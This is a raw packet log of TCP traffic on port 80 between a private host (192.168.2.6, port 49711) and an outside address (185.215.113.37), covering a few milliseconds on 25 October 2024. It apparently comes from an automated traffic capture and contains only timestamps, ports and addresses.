Oct 25, 2024 01:27:21.969470978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.969504118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.969542980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.969608068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.969635010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.969664097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.969713926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.969744921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.969799995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.969850063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.969893932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.969919920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.969990015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.970022917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.970076084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.970108032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.970144987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.970194101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.970221996 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.970259905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.970343113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.970405102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.970472097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.970494986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.970529079 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.970561028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.970628023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.970662117 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.970696926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.970765114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.970797062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.970830917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.970865011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.970902920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.970930099 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.970957994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.970989943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.971024990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.971072912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.971103907 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.971158981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.971201897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.971231937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.971267939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.971297026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.971373081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.971405029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.971457958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.971486092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.971535921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.971600056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.971632004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.971671104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.971702099 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.971760988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.971827030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.971856117 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.971890926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.971941948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.971976042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.972004890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.972054958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.972083092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.972138882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.972207069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.972234964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.972270966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.972302914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.972338915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.972381115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.972409010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.972465038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.972513914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.972562075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.972583055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.972615957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.972668886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.972712994 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.972739935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.972771883 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.972806931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.972853899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.972886086 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.972919941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.972946882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.972985983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973016977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.973052979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973084927 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.973119020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973148108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.973177910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973211050 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.973244905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973275900 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.973309994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973356009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973386049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.973422050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973472118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973503113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.973537922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973586082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973617077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.973654985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973701954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973723888 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.973767996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973802090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.973834038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973881006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973911047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.973939896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.973984957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974016905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.974052906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974101067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974134922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.974165916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974215031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974246979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.974283934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974333048 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974375010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.974400043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974452019 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.974468946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974519014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974565983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974622011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974637032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.974658966 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.974689007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974730015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974772930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.974807978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974837065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.974874973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974910975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.974931955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.974965096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.974999905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.975028992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.975065947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.975094080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.975122929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.975171089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.975203037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.975239038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.975271940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.975306034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.975389957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.975404024 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.975447893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.975477934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.975512028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.975562096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.975594044 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.975627899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.975675106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.975709915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.975748062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.975776911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.975814104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.975862980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.975894928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.975929022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.975975990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.976005077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.976041079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.976072073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.976106882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.976157904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.976188898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.976222992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.976253033 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.976288080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.976344109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.976360083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.976360083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.976411104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.976443052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.976479053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.976510048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.976545095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.976578951 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.976612091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.976641893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.976676941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.976725101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.976758003 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.976790905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.976824999 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.976856947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.976906061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.976937056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.976974010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977004051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.977036953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977083921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977111101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.977142096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977207899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977240086 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.977273941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977305889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.977338076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977387905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977415085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.977444887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977494001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977523088 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.977549076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977597952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977623940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.977664948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977694035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.977729082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977776051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977792025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.977830887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977861881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.977895975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.977925062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.977958918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978005886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978039026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.978072882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978102922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.978137016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978179932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978208065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.978250980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978281975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.978315115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978363037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978394985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.978430033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978461027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.978494883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978523970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.978559017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978606939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978636026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.978671074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978713989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978744984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.978775978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978837967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978873014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.978905916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.978938103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.978975058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979020119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979046106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979074955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979124069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979156017 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979187965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979237080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979264021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979279041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979298115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979331017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979351044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979373932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979386091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979394913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979413986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979439020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979449987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979470015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979485989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979497910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979516029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979537010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979547977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979547977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979567051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979578018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979593039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979604006 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979624987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979640961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979655981 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979674101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979696035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979706049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979727983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979748011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979757071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979774952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979787111 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979804993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979825974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979836941 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979855061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979870081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979883909 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979883909 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979902029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979917049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979917049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979935884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979952097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979965925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.979990005 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.979995966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.980015039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.980037928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.980046988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.980067015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.980076075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.980088949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.980103970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.980123043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.980133057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.980154037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.980175972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.980186939 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.980201960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.980211973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.980235100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.980243921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.980257034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.980271101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.980315924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.980325937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.980343103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.980355978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.980379105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.980386972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.980407953 CEST	80	49711	185.215.113.37	192.168.2.6
